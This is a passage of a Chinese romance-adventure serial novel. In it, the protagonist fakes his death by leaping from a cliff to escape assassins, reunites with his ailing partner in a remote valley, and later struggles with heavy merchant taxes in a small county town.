梁风点头,“换衣服吧。” 保护他的人只有十人,监视他的刺客十七八个。全部换好衣服,梁风最后用发带绑在其中一个昏迷刺客的左手腕上,用衣袖遮了遮,蓝白的颜色在黑衣之中显得格外惹眼。 他从前怎么没用过这根发带绑头发呢。 下意识摸食指指根,摸不到三根发丝,换衣服的时候不知掉到哪里去。 心里空落落,纵然不舍,也得目送天机阁的四人拖着昏迷的刺客先行去往悬崖,而他带人留下和新一批刺客交手。 过了近半个时辰,马匹惊起,躁动不安地来回踏步。 梁风跨上马就要走,暗处一只镖击中马腿,他滚鞍下马,利用马身挡住再射来的飞镖。 马匹尽数倒地,铁器相击,眼前又出现数道刀刃寒光,始终看不清身影。 锋利的视线锁定住他,梁风抬手右侧一挡,架住对方的刀。敌方一人现身。极重的力量推得他后滑,心脏立刻悸动起来,呼吸变得困难。 身旁暗卫为他遮架,梁风脱身后扭头就跑。 刺客至少二十多人,体力充沛,而他这边人手太少,只能边跑边防,打是打不过的。万幸悬崖离得不远,梁风有把握一口气跑到悬崖的位置。 刺客在后紧咬不放,梁风以之字型跑动躲避暗器,借着月光回头看,很快辨别出这批刺客首领的位置。 树林地形复杂,遮挡物太多,二十几个刺客半包围势进攻肯定存在阵型。梁风猜测敌方阵型至少需要保证在同一瞬不被遮挡的人有半数以上,而阵眼的位置一定在能同时总括全阵的地方。 他一眼就发现了阵眼,顺手掰下一根树枝,跳起勾住飞来的一只镖,旋身将飞镖反射回去,射向刺客首领。 刺客首领抬刀轻松挡下,阵型仅有一瞬间阻滞。梁风这边的人立马发现弱点,集中火力攻击。 只对上一个回合,敌方阵型恢复绝对防御,梁风的人扭头继续跑,而梁风已经跑远了。 他使劲跑,眼见前方有极亮的光线,是不被树林遮挡的月光,心知快到了。 身后忽然有极快的拳风逼近,梁风想躲,但来不及,后背结实挨了一脚。没反应过来身体已经飞了出去,摔到地上滚了几圈。 脏腑气血翻涌,梁风吐出一口血,离悬崖更近了。 这群刺客里有高手。 看来追杀这一个多月没了耐心。无法顾及身体情况,梁风迅速爬起来接着跑。 他听见身后又传来一声被击飞出去摔到地上的声音,已经和他有点距离。他初步判断那个高手爆发性速度极快,但是后继乏力,不适合长久作战,下一次攻击估计要等一会了。 穿过灌木丛,眼前豁然开朗。 崖前没有树木遮挡,月光无比清晰。梁风喘着气,走到崖边一看,崖下树林一片浓黑,什么也看不清。 崖壁边缘有几道刀割出来的缺口,他站准缺口的位置,面色沉重地回头,他的人跟上挡在他身前,也站准了缺口。 二十多个刺客走出树林,敌方首领沉默出面,阵型凛凛地看着梁风。 追到这里,刺客们反而不急了。 一个个戴着面罩,身上任何标识都没有。 不知道这一批是不是皇帝的人,希望不是。 “给皇帝带句话,我要死在我自己手里!” 阵型一动,数柄刀锋冲来。狠话说完,梁风带着人扭头跳下悬崖。 滞空的瞬间,他立即抓住藤蔓想要缓解下坠的冲势,藤草却太松了,完全没用。梁风一边用匕首割璧阻势,一边从乱草中摸索绳子。 很快摸到了,绳子不算细,抓起来足够结实,他却忘了戴手套,手掌快要磨出火星子。 他能感觉到磨出一手血肉,越抓越湿,死活抓不住。咬牙用双脚抵住崖壁,下坠的速度没减多少,鞋底反而磨破了。 虽然药停了几天,但他没有力气也不是装的,他就是不如从前了。 旁边的暗卫不知怎样,梁风逐渐有气无力,双手发抖,不断下滑。 忽然一个人抱住他,止住他下坠的冲势。梁风闻见一股草汁的气味,攥紧手掌握住绳索,蹬着崖壁又滑了一段才止住。 提前让天机阁的人在衣服上抹了一层某种草根碾碎的汁液,气味浓烈刺鼻,闻见就知道是自己人。 梁风松口气,看来是趴在崖壁等他的人来接应了。 接应他的人一手抓着他,一手带着他蹬壁滑索,缓慢地一节节下降。梁风扯了衣摆裹手抓住绳索,配合着往下蹬跳。 位置已经不高了,没跳几下便见到底。 摸到绳索末端,梁风最后一跳,平安落地。 下面是条小溪,有细细水流声。踩着石子地面,梁风结结实实松口气。 到了崖底反而没有上面看的那么黑,依稀可以辨认出人形,仔细看,接应他的人是天机阁首卫。 “多谢。”梁风真诚道。 “客气。”首卫不知从哪摸了个瓶子,给梁风掌心倒药粉,梁风又说一次多谢。他出门也忘记备伤药了。 随同他一起跳崖的人也平安落地,过来和梁风报安。 暗卫撕下衣服给他包手,手指能活动后,梁风吞了两粒李婶的药丸。 “烂了没有?”他问。 “烂了。” 尸体的位置不比他们贴着崖壁下降,掉落的地方要远一点,接近溪边。梁风随着首卫走去,心跳平静下来便闻到血腥,溪水盖不去的血腥。 之前扔下来的昏迷刺客尸体趴在小溪边,溪边碎石子多,尸体完全被砸烂了。 梁风凑近看,尸体脸上的血肉完全陷在碎石堆里,膝盖应该也碎了,成了一滩。 梁风掀了尸体左手腕的衣服,确认蓝色发带还系着,总算安心。 这具尸体跟他身形勉强相仿,衣服下的皮肉肯定不一样,但是摔成这个样子也不可能运回京城给皇帝过目,有这条发带都够了。 旁边还有五具尸体,伪作和梁风一起跳崖的五人。他们没有刻意摆好姿势,但是头朝下摔下来也基本都摔碎了,死法不用完全和梁风的假尸死法一样,整体看起来十分逼真。 退一万步,哪怕 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他这次买天机阁死士的账款在离京前已经结清,买的是两个月,如今两个月时限已到,他们可以回去了。 首卫也不客套,应了梁风后召集剩余人手离开了。 天机阁在中原各地有据点,北境据点极少,他们回去得往南方走。梁风暂时不去南方,他要先去找老李。 不浪费时日。梁风带着暗卫在县外驿馆洗了澡,换身行头,找郎中给手掌的伤和内伤粗略地看过一遍,还给暗卫们各看一遍身体,郎中把脉半天说不出个所以然。再备上简单的伤药行李和馕饼,剩下的钱只够买三匹马,准备好了继续出发。 队伍小了,随身轻便很多,逃亡路上更不容易被发现,跑得也更快。 又是十五天,梁风抵达老李倒换钱财的地方。 他找到最大的一扇城门左侧的第二十棵树,爬到树身向阳面往上数的第一根枝杈,顺利发现用小刀留下一道横向划痕。 然后他继续往上爬,爬到第二根枝杈,枝杈根部有一片明显被切过的树皮,用藤草缠在树身上。他割断藤草,揭开树皮,树皮后面被凿了一个洞,洞里放着一袋钱币。 梁风取了钱币跳下去,清点一遍,总共四粒食指盖大小的金子和一百钱,另外多出一张随手撕下的小纸片。 存在纸片便说明老李倒换钱财十分顺利,已经回程了。 短暂地松口气,和暗卫平分再去城外驿馆。换一身行头和买四匹骏马,准备更为充分的行李和干粮,上路。 脚程逐渐加快,梁风计划最多二十天穿过长泽。在长泽南岸改换为商队,一个月左右能和她从川郡转折后的路线交汇,到时就能发现她留下的线索。 想及此便心潮澎湃,得到她的一点点线索也好,预估两个月内就能见到她。 身后没有追杀,他完全不用休息,回程的路可以一口气跑完。偶尔晚上睡前放任她在脑子里跑来跑去补充体力,但不能想多了,想多了就睡不着。 休息的时候也会思考一些重大的事情。 诸如,亲亲时如何规避鼻子;诸如,如何抱她不显得他是上下其手,等等等等。 每到这时,天上的星星总会配合着他的心情一闪一闪。 八月上旬渡过长泽,梁风改头换面,扮作自北而来,南下贸易的商队。两个暗卫随同他,剩下一名暗卫坠在队伍后方搜寻是否有人追踪。 目前这世上只有天机阁知道他还活着。他信任天机阁保守秘密的程度,可是回程路上也得确认绝对没有天机阁的人跟踪才行。 长泽南岸往下,路过所有三十万户郡县,梁风都会检查一遍是否有她留下的痕迹。 终于在第三座三十万户县城发现划痕。 最大的城门左侧第二十棵树,树身向阳面往上数第一根枝杈,小刀留下一道东西指向划痕。 一大口气总算松下,返程的路线彻底与她重合。 梁风完全感觉不到累。暗卫建议他停下休息,他道:“不停不停!” 见到她第一件事情要做什么都想好了,一定要抱她,冲上去抱住她,好好地抱抱她,也要她好好地抱抱自己。 兴奋马蹄疾,一边跑,一边瞭望远方暂不可见的城池,骏马无所顾忌地飞奔。 随身粮食耗尽的一刻,上元县出现在平原尽头。 夕阳落下,霞光加重了城池边界,看起来像是城门借着未落尽的阳光迎接他,为他的归家留了一盏灯。 骏马几乎跑出残影,这一截平原仿佛在他眼中一缩,他转瞬间便来到城门前。 少数几家驿馆提早亮了灯,未避免引人注目,梁风翻身下马牵绳走。 城外大街旁第三家驿馆,见到了接应他的人。 再急也急不得这临门一脚。梁风抬头,与那驿馆二层眺窗而望、一身商人服饰的暗卫对过视线,牵马走去了附近一家带马厩的茶馆。 稍坐,驿馆上接应他的暗卫走了过来,向他打听货物的价格。 双方都装作不认识,三言两语,梁风欣然谈妥。所有货物贩卖出去,换了一笔数目不小的钱。 暗卫拿着货进城内贩卖。梁风离开驿馆群。 天黑了,他走去郊外,与另一个接应他的暗卫会合。 还有不短的路要走,梁风随众静悄悄地潜行,走远了才提速。 大道后接一段很长的山路,夜深了,马车停山脚,最后徒步上山。 太黑难辨方向,头顶又看不到星空,梁风走来走去,几乎丢了路。 这么晚了,她已经睡了。待会见到她,偷偷躺到她身边,明日一早让她又惊又喜。 这么想着脸上就很笑,梁风一点也不觉得累,时不时两步加速超过领路的暗卫。但是他的双腿已经开始麻了。 下到山谷底下,丢了路。暗卫领他沿着溪边朝上游走,绕过一个大湾环。梁风紧紧盯着前方,浓密的树林中终于见到两三点小火光。 他脚下飞了过去,冲着那几点光亮,他飞了过去。 房屋轮廓逐渐显出,光点变大,跟着藩篱、石凳、油灯一一现身,还有油灯旁照亮的人。 她就在屋外。 梁风一眼认出那模糊的人影就是她,她闻风从凳上起身,梁风看见了她的眼神。 微弱的光亮下,她的身形清晰了。迎着她微惊的目光,如愿地扑上去将她抱满,梁风的脚底堪堪刹住。 金絮完全没有被他冲到,抬头看着他,双手上抬抱紧。 一路被追杀的委屈猛烈地涌上心头,梁风陡然而起对外的恨意,忍不住向她诉苦。 “以后再不能分开这么久了。” 220. 《红叶书》(一四十) 她瘦了。 怀里的身体细细条条,单薄得很。梁风紧紧搂着她,迫不及待地诉说思念,这里也想她,那里也想她,整个人全身都是想她。 她低声应着,呼吸沉沉,靠得愈紧密,抱着他的手却逐渐松开。梁风低头一看,她睡着了。 已经很晚了,梁风想亲亲她,但是身上不太干净,她应当已经沐浴好了的。 抱起她,梁风跟随李婶去卧房。 纯木头搭建的屋子,底部为防溪水上涨做了架空,不很高,进屋需要上台阶。这样的屋子有四座,其中一座是他和金絮住的。 台阶在脚下踩着,没有发出咯吱咯吱的声音。 这种搭法的屋子不太稳当,不知地基有多深。暗卫们本身也不会搭屋子,临时搭建出来的房子估计住不了太久,但是走这两步的感觉还挺稳当。 屋内布局相当简单,为了防塌只搭了一层,除了厅堂卧房和一个隔间外,就没别的了。每个隔间都是三角尖顶,塌下来不容易砸到人。 将她放在床上,脱了鞋袜盖好被子,梁风拉近烛火,仔细看看她。 她的脸色不好,皮肤很陷,嘴唇都干裂了,下巴变尖了,相比离京时憔悴很多。 梁风心情沉重,临行前特意计划小缃和李婶陪着她,还是没把自己照顾好,以后可得由他来盯着。 确认她睡熟了,梁风才开始收拾自己。 他也是累得不行,但是坚持洗两遍澡,中间休息的时候吃了一大顿老李做的面汤、包点和咸菜。 收拾好之后天已经亮了,李婶为他把脉。梁风一边诊着,一边擦头发,一边问这几月阿絮的情况。 “夫人是有好好吃饭的,只是夜里睡不好,精神不济,体虚气弱,加上想的事情太多,又太过担心您,吃进去的东西很难消化。”李婶道:“劝也劝不动,几个月积累下来已经有些伤身,只能等到您回来,心里的事放下了,郁结解开慢慢会好。” 坐厅堂隔着屏风看不见她,梁风心里也有些责怪自己。 “是我跑远了,路上耽搁太久,我该早点回来。” “您也跑得急了。”李婶皱眉责怪道:“还有内伤,不轻啊,刚受伤的时候不曾调理过?” “不曾。” 刺客里那个高手踹过他一脚,那一脚之后没有好好治疗过,回程跑得太快又太急,无暇顾及。 “可是我没有感觉,您给我的药我吃完了。” “这会儿没有,歇了一天反应就上来了。”李婶不满于他的粗疏,“毒愈之后本就没来得及养好,这又打回去了,往后一年半载专注于养身体吧。” 梁风乖乖应是。李婶写了方子交给老李,叮嘱他喝了药再睡,然后李婶就去看暗卫们了。 梁风在屋里烤头发,烤得身体暖暖的,待会就不会冻着她。 她躺在被窝里面,被窝只有一点薄薄的突起。 床榻为了防潮也架高了,不是以前常睡的榻板样,不过他不认床。 等熬好药,梁风喝了一碗便急匆匆关窗爬床,现在是可以光明正大地抱着她睡觉的。 拢好棉被,用最舒服的姿势抱着她,梁风贴近她的脸,想吸走她一半郁结。 她的不开心不光是因为担心他,有很多原因的,给身体造成的影响很大,总之以后是不能让她化妆了。他一直很担心她,担心了这么多年,怎么没见他身体不好。 想了很多,仿佛她想的事情当真分了一半过来,梁风很快睡着了。 一觉醒来还是早上。 他却起不来了。 虚空中仿佛一只大手压着他,四肢无法动弹,胸膛里面有点痛,一阵一阵地痛,很难呼吸,意识也不太清醒。 借光隐约看见身旁晃动的人影,梁风使劲扭头,看见她还睡着,李婶正在为她施针。 她是昏迷的模样,身上扎了好多针,梁风脑子陡然清醒。 “发烧了,几个时辰前突然烧得厉害。”李婶道:“放心吧,没事。” 说着没事,李婶神情间却是少有的严阵以待。梁风动了动手,才感觉到自己正握着她。 施针结束,过一个时辰她还没醒。梁风反而缓过劲来,餐后喝了药体内恢复很多。他便守着她睁眼。 入了夜气候寒凉,脏腑好像又疼起来。她的低烧始终不退,梁风心里不太舒服。 不断为她更换手帕,和她说话想叫醒她,却不知怎么地从她眉眼和唇边看见一股黑气。 急急叫来李婶,李婶检查瞳孔后忽然说她求生欲不强,让他尝试唤醒她的求生欲。 梁风害怕了,挥手散去她脸上的黑气,淡薄得蛛丝一样的东西,妨碍她睁开眼睛。 “我还没让你开心呢,你不能走。” 梁风喊她,不断地喊她,紧紧握着她的手,想把她喊回来。 她可能只是太放松了,缓过这一下就会醒来。梁风喊着她,大脑却不断放空,一旦想到什么,脑仁有根筋膜便用力绷紧,疼得他像被雷劈了。 再疼也不放手,她不能想要握住什么的时候却没有东西给她握。 “你不要我了......” 这不行,这可不行,他才刚回来,话还没说上两句,如果真的不要他,也要和他说清楚。 金絮睡得安详,什么反应也没有。梁风喂她喝粥水,和她讲这四个月的经历。 她肯定会醒来的,太累了,多睡一会儿。 梁风讲了一天,相信昏迷中的她可以听见。 四个月的经历讲完,他停了声,看看四周,凿开的一扇大窗外全是并不熟悉的木屋和山谷。 不知道她对这景象是否熟悉了。慢慢懂了,忽然觉得她没什么留恋也对,忽然想她留在太南或者京城会不会是更好的选择,人有的时候需要一口气活着,这口气没了,她的留恋中也没有他。 气温猛地降下来,临近秋天,梁风透过窗外看见整座山谷都弥漫着一股黑气。 掌心的手指动了动,他用力反握住。云破日开,山谷的黑气经阳光荡涤,飘散一空,他拽回了她的魂魄。 她睁开眼,清晰的视线看过来,梁风委屈得很,一时想不开放声大哭。 他的哭声惊动李婶,李婶急忙跑来,见她醒了,先为她把脉。 金絮轻轻摆动他的手,小声问道:“怎么了?” “你吓我......”还问他怎么了,梁风当真委屈极了。 李婶诊完脉,笑意浮于脸上,又匆匆跑出去了。 她醒了便好很多,缓过劲来慢慢撑身坐起,梁风将她一搂,抱在怀里。金絮拍拍他的后背,整个人没什么力气,全部靠着他。 梁风蹭她的头发,眼泪吧嗒吧嗒地掉进她的头发里,“我以为你扔下一切,不要我了。” “不扔不扔。” “你不会丢下我自己走了,对不对?” “嗯。” “你让我很害怕。” “不怕,活着呢。” 梁风拼命摇头,就是很害怕。 他小声问:“我是不是你留在这个世上的念想?” “是。” 他还是很委屈恐惧,得不到缓解,眼泪也止不住。金絮擦擦他的眼泪,道:“水。” 梁风泪眼朦胧地拿来床头放着细竹管的竹碗,一手环着她,一手捧碗给她喝水。 梁风怨怨念念:“你又不是非我不可,我是可有可无的。” 喝够水,金絮亲亲他,“你不是。” “非你不可的,慢慢来。”金絮再次环抱他。 她喝了药后恢复极快,当天傍晚便能下床散步。梁风一整日黏着她,身周半步外都算远距离。 李婶说她没什么大事,调养过来就好了。金絮由他黏着,询问李婶他的身体状况。 李婶一通说道,金絮神色不愉,现在轮到她监督他喝药。 之后两日,她安心调养,梁风表现出对她惊人的黏性,同时试图让她增肥。 他知道他黏人,但没想到这么黏人。手指像是和她的衣服缝在了一起。 她道:“我增的肥就是你的手,外附赘肉。”她拍拍腰间多余的手掌。 梁风怨念愈重,又见一碗药端来,忍不住和她念:“都怪你,就是因为你吓到我了。” “睡一觉而已。”见他不喝,金絮准备喂。 “你看看,我都变成药罐子了,你还要吓我。”梁风张嘴吞了一勺,反向质问:“你为什么不黏我?” “我怎么没有黏你?” 梁风哭丧脸,“这四个月里,你有没有梦见过我?” “有。”她果断点头。 “梦见我什么?” 她停下来,认真思考。 沉思了半晌,她答道:“梦见你死了,我在旁边哭。一场梦下来,我竟然除了哭别的啥也没干。” 梁风心里还是有股无名的怨意,不过缓解了一点。 喝完药,梁风往她怀里钻,“我活着呢。” “我不是情绪不稳定。”他道。 “我知道。” 金絮附他耳边说悄悄话。 安逸的生活令人变得懒惰。 这显然是座荒山。 南方的荒山色彩非常浓郁漂亮,仿佛四季常青,永不落败。 懒惰伴随日渐增胖的身躯,和她日渐丰盈的脸庞。 她给这座山谷起了名字,叫外离谷。梁风日常坐在山头,看着夕阳落下,缓慢地脱离情绪。 情绪都被仍在市井之间,这里是外离。 她说虽然身处世外,但不能失去感知的能力,要学会愤怒,学会生气。 她也坐在山头,对着落日狰眉狞目地嘶吼:“啊啊啊啊啊——我生气了!!!” 梁风明白她的意思,打开嗓子喊:“我也生气了!!!” 情绪要养,家务要干,每隔两日和她一块洗衣服。 溪边排排坐,衣裳在水里展开,这是上游的溪水。 梁风钉了个桶,打水洗衣。 山谷只有正午阳光好,其他时候阳光也好,但是太阳不直晒。 梁风得空将几座木屋上下检查了一遍,看起来不稳定的地方加固一下,再添置几件家私,屋里变得满满当当。 歇了一阵,梁风带着她去山里寻路,和她便揽山色。 劈开杂草枝蔓,寻找果树野蔬,顺便锻炼身体,回去时还能带一捆柴。 之前留城里卖货的暗卫回来了,还带回一些日用布帛、油盐辛料之类。梁风时不时和她上山打猎,猎到什么便加餐。 给她做的小弓使起来挺顺手,不少兔子都是她猎的。 过了一月,秋深了。渔网破了几条绳,破开的网眼太大,梁风便找一日将大网铺在草地上,和暗卫一起修补。 快修补好时,房里的她忽然发出一声惊恐的尖叫。 梁风立即冲进去,正好被慌张跑出来的她撞个满怀。 “有蜘蛛!蜘蛛!” 她哆嗦指着内间跳脚。梁风朝房门内看了一眼,没看见蜘蛛,当先安抚她,检查她身上,“有没有咬到你?” “没有。”她连连摇头,贴着他不敢放。 “我去看看。” 梁风小步往卧房门口挪,挪到门边,金絮小心翼翼从他怀里探出头去,偷偷摸摸朝房里一看,猛地缩回脑袋来,“桌子上。” 她一说梁风也看见了。好大的蜘蛛,至少两个巴掌大,一条腿有筷子那么粗,毛丛可以说根根分明。 梁风找了一枚暗器,站在门口朝蜘蛛射去,正中蜘蛛肥硕的身子,几条爪子便躺下了。 金絮心有余悸,还抱着他,“我没留意天花板,我在算账呢 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当天晚上就没有虫子了,梁风还是打算做个帷幔包住床榻。她腿上的包痒了两天,慢慢消下去,留下的印子要个把月才会消掉。 几天下来没找到合适用作床幔的布料,上元县的布料都太厚重,用来做床幔不透光也不透风。 梁风还在想办法,这天独自在房内莫名听见咝咝声。 细微的咝声中透出一股野性的危险,听着很像蛇咝。他循着声响找去,在房内的衣柜下面发现盘了一条蛇。 棕褐色三指粗的一条,似乎很享受衣柜下的阴凉,安然盘着,被发现了也只是略微扭一扭。鳞片摩擦的声音却听得梁风后背一麻。 不知道什么时候爬进来的,好在是白天发现了,这要是半夜才被发现不知会有什么后果。 梁风叫来帮手,拿着火钳子将蛇夹了出来,用麻袋装了扔到远一点的地方。 蛇的品种他不认识,李婶见了也辨不出蛇名,难以判断是否有毒。梁风便叫他们全去各自的屋里检查一遍。 她有些害怕,梁风便不顾布料是否合适也挂为床幔,再多备些蜡烛,至少夜里睡觉安全了。 之后两天,其他屋里接连发现蛇虫,全数被抓了扔出去。 到十一月,不止是虫蛇了。体型较大的动物纷纷倾巢而出,觅粮过冬,闻着味就来到他们这片屋子中搜刮,撒的药粉完全抵挡不住。 他已经感觉到家里存在恐慌扩散开来的惊惶。 梁风便提出去城里过冬。 县城里的宅子他早就在准备了,山谷的这处住所本身也只是过渡用的,不会长久住着。 金絮听了他的提议,点点头,着手收拾行李。 “对山林来说,我们是入侵者,它们想赶我们走,我们被排斥了。”她道:“你看,我们来之前,整座山林都是它们的,我们来了之后却霸占了这片地方,它们当然不开心。” 听出她有点不舍,梁风道:“不一定,它们或许是在欢迎我们。它们对我们很好奇,于是在观察我们。” “可是你说要走。” 他想了想,再道:“入冬之后雪下来山谷就不能住了,容易遇上雪崩。” 她好笑道:“南方不会下雪。” 他倒忘了这茬,一时不知道回什么。 嘴上这么说着,她还是很快收拾好行李,和他道:“说说而已,走吧。” 她在这里住得比他多四个月的。哪怕撑过十一月,小动物们冬眠了,冬季过后它们又要出来觅食了,仍然有被咬伤的风险。与其搬来搬去,还不如直接去城里,后续再做打算。 山里过得逍遥自在,但是并不好住。 整理完毕的行李不算多,为避免引人注目,梁风决定先由各自带少量行李进城,剩下的行李之后再分几趟运往城中。 路引用的是金絮当时带出来的,偏僻县城对于这类检查远没有京城那么严格,梁风只用了一张路引便让全部人顺利进城。 老李抵达山谷后买了一座二进的小宅子,位置非常偏僻,这几个月里将宅子倒了两手再买回来,洗得十分干净了,可以安心住着。 久不入城,她挺有兴致。来来回回将院子里外看了几圈,很快安排好该如何布局。 梁风和她一起收拾了两天,收拾好了才出去玩。 城里有很多可玩,有很多东西可以买,费大力气洗过的金银总算有了用武之地。 在山里面钱财花不出去,梁风走在路上见着任何喜欢的东西都往家里买。 上元县不算大,倒也有些景色可看,南方的吃食也颇有滋味,她很喜欢。 直到家里装钱财的箱子空了两只,梁风才想起来看一看账本。 账本记录中,大额的支出都是从他手里流出去的。他仔细回忆,能想起来一两项。 她说由奢入俭难,她说他在外花费时太过大手笔,是贵人做派,她还说再这样下去就要入不敷出了。 梁风愕然。毫无这方面概念。 钱财花费固然多,也有很重要的收获,收获的是她愈发红润的气色。她的状态逐渐开朗,他觉得这很值得。 她爱笑了,喜欢出门走走了,会四处去玩,会对一些小玩意感兴趣,每天有很多的话和他说。 离京前就很希望她能拥有现在的状态,本身这种状态就是需要钱财花费出来的,不然她该怎么好气色。 可是按她的记账来看,确实花费过多。 梁风蒙了,又有点无辜,问她:“怎么办?” 梁风也和她一笔一笔算账,力证家里每一笔开销都是值得且必需的。 最后她将账本一合,道:“我知道,家里的开销都是值得的,所以现在要开始赚钱了。” 梁风连连点头,“嗯嗯嗯,开源节流。” 这是离京前就定下的方针。 221. 《红叶书》(一四一) 但是,赚钱这件事情变得很不对劲。 几个月了,盛夏都要过去了,从开始赚钱起,阿絮陪伴他的日子加起来竟然没有半个月。 半个月! 为了洪河以南一个富商的西域丝单子,她这几月经常在外面跑,总是一连数日不回来,并以身体没养好为由把他撂在家里。回来了也只和他待个半天,第二天一早就见不到她人。 梁风无法接受。 这天她又在一日的中间回来,敷衍地亲亲他后抱着自己的算盘坐在旁边扣扣嗒嗒,专心致志,也不理他。 仿佛全身最有用的地方就是脸颊这一片在她兴起时用来亲一亲的东西,他还有没有点别的用处了? 梁风埋怨:“你仗着赚钱就可以忽略我。” 金絮闻言,停下正在拨弄的算盘,抬头看着他。 梁风拒绝和她对视。金絮追着道:“我赚的钱都是给你用的。” “可是我如今花费少了。” 开源节流,当然也得他在节流才是。 梁风小声道:“离京前我答应你带你云游四海的,赚那么多钱不能放取钱令,带在身上又麻烦,多不方便。” 办置钱庄取钱令会留下身份痕迹,他和家里人都没有办。这段时日都是暗卫帮她四处跑腿搬运,一筐一筐的现钱运送起来十分麻烦。 她似乎忘记这茬,忘记了云游四海。她想了想道:“小缃和暗卫们出嫁娶妻都要花费,老李和李婶的身体慢慢都不好了,家里得有底子才能应对突发事情。” “我知道。”梁风道:“你要干什么都好,带着我。”他又不是不讲道理。 “不会不舒服了?”金絮摸摸他的胸口。 “不会。”梁风引着她的手摸自己的心,他感到非常健康,“我要学着帮你看账簿。” 她挑眉,“好哦。” 梁风如愿以偿地跟着她出去跑商。 这笔西域丝的单子已经接近尾声,只差最后与富商钱货两讫。金絮需要将骗来的丝绸运去和对方约定好的提货地点,再拿回货款就完事了。 上元位于洪河上游南岸,提货地点在洪河北岸,往返需要十七八天。如果他没跟着,跑这一趟又得很久见不到她了。 一应货物行囊准备好,梁风和她带领暗卫们出发,老李和李婶留下看家。 暗卫们在后护着装了十辆马车的西域丝,梁风独和她共乘一辆。 一路多矮山,山间小路绿荫环绕,人间烟火极为远离。仿佛回到和她一起去支郁村祭拜笑长生时的路上,这是天地间一片独立的领域,梁风很喜欢这种感觉,非常喜欢。 只是这一趟多了很多目的,多了很多交易。梁风沉浸地享受过程,时不时和她一起驾车欣赏沿路风光,时不时在车里睡觉,比上一次的旅程还要惬意。 十天后抵达洪河沿岸。 原本收货方那边约定的位置没有这么近,还需再走半月左右的水路才到预计交货地点。而现在这里是她费大力气争取来的位置,既不离家太远,也不用花费订船的支销,谈成的价钱少了两成。 顺利找到收货方,金絮十分痛快地交换了货物,拿到存放剩下一半货款的取钱令。 原地逗留两天休整,再踏上返回的路程。 返程行囊轻减,梁风叫暗卫先行回去,自己在后和她磨磨蹭蹭地走。 最后回程耗时半个月。 她倒无不满,同样乐在其中,只是一到上元县,她不先回家,立即去钱庄将剩下一半货款取调出来。 一箱一箱的现钱往马车上搬,总共五箱。梁风和她一块清点计数,箱子不算大,每箱钱有五十贯,共计二百五十贯钱。 清点完毕,钱庄掌柜最后递给她一张薄纸,是官府的上税文书,盖了县衙官印。 她需要拿着这张文书去县衙交这五箱钱的税赋。 “交多少?”她问。 “大约五成吧。”掌柜道:“究竟多少还得看县大爷怎么说,您可别嫌,我这钱庄是本县最大的钱庄,天天被县衙的人查账,没得逃。” 她也不说什么,拿了文书牵着梁风走了。 到了县衙,又开始新一轮的清点。 县大爷们对着她的文书满脸笑意,客客气气,一边数钱,一边仔细查验她这笔单子前后涉及的所有款项,确保没有一丁点的收入遗漏。 县官告诉她,商贾的赋税比农民工匠高一些,税目也多,除了本身的收入外,另要算上她所占用的马车、官道和与商户签订文书的纸墨损耗税,还有她因只交税钱,没有税粮可交,缺交的税粮需由税钱补足,大约多补一半。 金絮皱着眉头,没说什么。 她沉默地看着箱子的钱币一贯一贯地被县官们拨过去,不再属于她。 县官拨弄算盘,弹指间拨了三箱半,税钱共计一百七十五贯。 这可不止五成。 因她上税迟了,按那张文书上所记结款的日子,她应在三日前便来府衙结清税赋,于是再扣半箱作为罚没。 每笔税赋,税钱和税粮六四开。这笔单子最后到她手里的钱只剩五十贯。 她与梁风对视一眼,梁风同样沉默地站在她身后,有些歉疚地搂搂安慰她,是他在路上耽搁了时辰才造成罚没。金絮往他怀里靠了靠,再看县官的眼神冷冷。 最后带着一箱钱币回家,马车如羽毛般轻巧。 她抱膝缩在车内角落,哼哼道:“我们是外地人,在这里没有跟脚,口音也融不进去,一开口说话,他们就知道我们是能欺负的。” 梁风驾车,也很无奈,“向当地其他商户打听一下,是不是一惯税赋都到七八成之多。”也不知道有什么能做的。 回到家,周围没了人,她道:“京城外也不代表自由,做个被关在鸟笼里的王爷,至少钱财上无忧无虑。” 梁风扶她下车,“我不后悔。而且以前在钱财上也没有十分无忧无虑。” “以后做点小生意吧,开个铺子。” “好啊。”开了铺子,等生意稳定下来,官府什么的才好打点,逍遥山野真是很难。 但还是要时不时带她出去玩,这是必须的。 午饭没吃,晚饭提前。刚吃完饭,门外便有客来访,想上门拜见主人。 这是入城后第一回有来客拜访,梁风立刻接见。 来人是个不到三十岁的商户,衣着得体,坐下便自我介绍,说自己是两三条街外一户商贾之家的家主。拜访原因是听闻梁风家里赚了小钱,带着诚意上门,谈谈合作。 才回到家,这么快就有人听到风声上门打探了,县城就是小。梁风寒暄几句,交由她出面。 “买地不?” “什么地?” “农田。”来客道:“西郊一片百亩农田空了出来,想必您也知道,用税钱抵交税粮,交得可多了。” 她听了不反应,来客道:“你们是外地人不知道,上元郡的粮食比钱贵,县官府收粮是大有用处的。” 客人解释着说:“西南这一带只有上元这片地方农田多,其余土地全被大山占了,上元每年产出的一大半粮食全由县官府往洪河下游粮食歉收之地送。” 客人嘿嘿一笑,“我家里不缺地,佃农倒是有多,您若买下西郊那片农田,佃农我出给您,便宜算,一个人头算您十钱,个个都是身强力壮极熟农田水利的老农夫,您往外面找可找不着。” 她听后沉思考虑,很快摇头,“不买。哪怕雇了佃农,我们也没有精力照顾那么大一片农田。” 客人微有失望,却不强求,告了声辞便走了。 她注视客人离去,坐着一动不动,身周的气息隐隐往下掉。梁风凑过去,与她的双眼对视,想知道她在想什么。 她回以极淡的一笑,道:“我们做点小生意。” 隔日出门,她说四处看看,为店铺选址,梁风陪她一起。 她先去县衙附近绕了一圈。县衙旁边的告示板上,贴着最大的一张纸,上面所写从京城传下来的双缗令,内容是限制商贾生意规模,凡年挣超一百钱的商户,百钱以上每多五十钱税赋便增加一成,最多加至九成,且每户家田不得超过二百亩。 双缗令根本效用是抑商,政令下到地方上每一个县城,互相之间或多或少存在规矩上的细微不同。京城的双缗令就不会有每户家田不得超过多少亩的要求。 她看后没说什么,驱车去往城郊。 农田都在城郊,远离官道,去到需要个把时辰。 田野广阔,遮阳的建筑极少,大太阳照下来热气极为烘人。头顶有车篷遮挡,热气仍然蒸得脸燥,让人只能眯着眼睛看。 梁风沿着田区边缘驾车,农田排列井然,正值夏天,田里作物长势极好,绿油油,上元的土壤确实肥沃。 田间事作的农夫农妇随处可见,戴着草帽,身上都是经年累月深晒的痕迹,单薄的衣裳看起来十分干硬。 他们路过,劳动的人们听见车马响声,总会停下手里动作朝他们看来一眼。 每块农田四周都立着标注主人家名字的木牌,一眼看去便能知道城里哪家商户田产最多。梁风很明显能看出来田产最多的商户远远不止二百亩土地。 